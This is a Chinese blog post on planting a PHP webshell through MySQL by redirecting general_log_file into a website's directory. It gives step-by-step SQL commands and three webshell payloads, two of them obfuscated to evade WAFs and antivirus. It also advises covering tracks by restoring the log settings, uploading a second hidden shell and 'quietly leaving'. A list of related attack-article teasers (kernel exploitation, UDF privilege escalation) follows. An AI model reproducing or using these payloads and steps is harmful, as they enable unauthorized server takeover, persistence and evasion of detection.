linux mysql general_利用mysql general log 写shell 可行性简要分析
0×01 前言
实际渗透过程中,我们很可能会遇到这样的情况,明明是正儿八经的mysql root权限,但实际利用into outfile写shell的时候,却怎么都写不进去,前提可以肯定的是,我们对目标的网站目录绝对是有写权限的且mysql的root用户本身并没有被降权,一般出现这样的情况很可能就是因为into outfile被禁用或waf拦截,希望下面的方式能帮到你
0×02 拿shell
利用mysql日志文件来写shell,究其原理其实也非常简单,当我们开启general_log以后,每执行一条sql都会被自动记录到这个日志文件中,我们就可以通过这种方式,把我们的shell代码也自动写进去,运维可能平时都是拿这个来查慢查询,只会临时开启下,所以,如果想利用,就只能我们自己手动开,这就是为什么要root权限才行,因为它涉及到mysql自身参数配置,其实,这里稍微有点儿mysql常识心里都很清楚:
先看下当前mysql默认的日志位置在什么地方,’C:\ProgramData\MySQL\MySQL Server 5.5\Data\2008R2DC.log’
顺手把原来正常的日志路径稍微记录下,等会儿干完活儿再把它恢复回来
mysql> show variables like '%general%';
默认基本都是关闭的,不然这个增删改查的记录量可能会非常大
mysql> set global general_log = on;
此时,再将原本的日志文件位置指向到目标网站的物理路径
mysql> set global general_log_file = 'C:/Program Files (x86)/Apache Software Foundation/Apache2.2/htdocs/abouts.php';
开始写shell,这里就是个普通的shell,不免杀,如果有waf的话,可以用下面的免杀shell
mysql> select '<?php eval($_POST[request]);?>';
mysql> select "<?php $sl = create_function('', @$_REQUEST['klion']);$sl();?>"; 免杀shell,eval方式
mysql> SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['klion']));?>"; 别人的免杀shell,assert&base64encode方式
0×03 务必要处理好后事
最后,干完活儿以后务必记得把配置恢复原状,然后悄悄的离开就好
[不然,目标站如果访问量比较大,日志文件可能会瞬间暴增连shell时会巨卡]
拿到shell记得马上再传一个shell[放的隐蔽点,关于webshell隐藏细节,请参考博客相关文章]
然后再通过新的shell把最开始这个shell删掉,谨慎一点,起码不会让你的shell掉的那么快
mysql> set global general_log_file = 'C:\ProgramData\MySQL\MySQL Server 5.5\Data\2008R2DC.log';
mysql> set global general_log = off;
0×04 后话
并不是什么特别新奇的技巧,都是mysql自身的一些基础特性挖掘利用,大家真正的理解才是主要的,利用过程中可能并非一帆风顺,把解决问题的过程记录下来,才是你真正的收获,祝大家好运
0×05 想成功利用的两个必要条件
事先要想办法找到目标站点的物理路径,不然要把log指向哪里呢
因为我们从外部能访问并执行webshell的地方只有目标的网站目录
当前数据库服务用户对所上面指向的目标网站目录必须能写,不然,log文件是根本没法创建的
其实,说实话,能同时满足这两点的目标并不多
如果目标网站对错误处理的很好,web服务用户和数据库用户权限隔离很清晰基本也是很难利用成功的,确实略显积累,但不失为一种好思路,非常值得拓展
像这种东西可能还是比较适合那些集成环境,比如,appserv,xampp…
因为权限全部都映射到同一个系统用户上了,如果是win平台,权限通常都比较高[实际上多数都直接是system]
linux mysql general_利用mysql general log 写shell 可行性简要分析相关推荐
- 获取linux内核基址,Linux内核漏洞利用技术:覆写modprobe_path
0x00 前言 如果大家阅读过我此前发表的Linux内核漏洞利用的相关文章,可能会知道我们最近一直在学习这块内容.在过去的几周里,我的团队参加了DiceCTF和UnionCTF比赛,其中都包括了Lin ...
- linux脚本怎怎么屏蔽段落,怎么写shell脚本才能不耍流氓?
1.不记录日志的 SHELL 脚本就是耍流氓! 我们经常在工作中会遇到一个苦恼的事情,一个 Shell 脚本到底干了什么,什么时候开始执行,什么时候结束的.尤其是数据库备份,我们想知道我们的 MySQ ...
- MySQL的日志 - general log
微信搜索『coder-home』,或者扫一扫右侧的二维码,关注『程序猿集锦』. 了解更多干货分享,还有各类视频教程. 扫描它,带走我. 文章目录 前言 general log 如何开启 general ...
- 2021-06-03web渗透学习之mof提权(MySQL 漏洞利用与提权)(转自国大佬)
自从接触安全以来就 MySQL 的 UDF 提权.MOF 提权耳熟能详,但是貌似国光我一直都没有单独总结过这些零散的姿势点,所以本文就诞生了,再解决自己以前的困扰之余,也希望本文可以帮助到其他网友. ...
- 【Mysql】认识Mysql重要架构(一)
1.Mysql 体系架构 MySQL Server架构自顶向下大致可以分网络连接层.核心服务层.存储引擎层和系统文件层 网络连接层: 主要负责连接处理.身份验证.安全性等,一般 C/S 架构都会有这一 ...
- linux将mysql中得配置为可读写_MySQL注入 利用系统读、写文件
能读写文件的前提 不同系统.不同的数据库版本有细微差异,以下实验在Windows10和Mysql 5.7.26下操作: 1.拥有该File的读权限 or 该目录写的权限 2.当前用户的secure_f ...
- linux下安装mysql(利用Cloudera Manager安装集群中的CDH环境的第七步)(CM安装CDH第七步)
第一步官网上下载 对应linux系统下mysql的tar.gz解压包 第二步linux下新建一个自定义目录,利用xftp工具将下载的 这个mysql-5.7.24-linux-glibc2.12-x ...
- bt5 mysql root_MySQL_Linux利用UDF库实现Mysql提权,环境:
os:linux(bt5)database - phpStudy...
Linux利用UDF库实现Mysql提权 环境: os:linux(bt5) database:mysql 简述: 通过自定义库函数来实现执行任意的程序,这里只在linux下测试通过,具体到windo ...
- 5、MySQL通用查询日志(General Query Log)
通用查询日志(General Query Log)用来记录用户的所有操作,包括启动和关闭 MySQL 服务.更新语句和查询语句等. 默认情况下,通用查询日志功能是关闭的.可以通过以下命令查看通用查询日 ...
最新文章
- 2018-3-14智能算法(文章--优化问题的智能算法及其哲学内涵)笔记一(什么是优化问题)
- Elasticsearch之分布式介绍
- zeroc ice php,ZeroC ICE+PHP整合
- OSChina 周一乱弹 —— 抱着漂亮袜子就亲了一口
- 网络布线,多图、有细节,【炮哥】讲诉,值得无经验午饭手抄
- booloader编写
- 重载函数编译后的新名字
- SharePoint 2010的数据库服务器实例默认为sqlserver2
- 绝对路径、相对路径详解
- 计算机专业寒假打工大一,大一学生寒假打工心得3篇
- mysql数据库事务模拟转账_mysql数据库事务阐发:实现银行转账功能的优化,附代码+实现过程...
- 张正友标定法的非opencv库函数实现
- 自然辩证法与计算机科学的关系,自然辩证法和科学技术有什么关系
- 变形金刚2影院版完整字幕
- webrtc 支持h264 思路
- python爬虫——链家苏州成交房价2
- Python爬虫实战 爬取同城艺龙酒店信息
- influxdb学习笔记
- Python——列表的常用操作
- adonis命令new